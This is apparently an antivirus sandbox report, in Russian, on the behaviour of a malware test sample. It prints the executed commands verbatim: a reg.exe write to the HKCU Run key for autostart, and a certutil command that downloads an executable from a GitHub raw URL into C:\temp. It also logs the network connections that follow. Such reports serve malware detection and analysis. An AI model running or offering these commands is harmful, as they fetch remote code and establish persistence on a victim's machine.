Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'test' = '<SYSTEM32>\cmd.exe'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d <SYSTEM32>\cmd.exe
- '<SYSTEM32>\ping.exe' localhost -n 5
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://raw.githubusercontent.com/scriptsample/mal/master/cs_maltest0308.exe C:\temp\cs_maltest0308.exe
- '<SYSTEM32>\cmd.exe' /c copy C:\temp\cs_maltest0308.exe C:\temp\cs_maltest0309.exe
Сетевая активность
Подключается к
- 'ra#.####ubusercontent.com':443
TCP
Другие
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
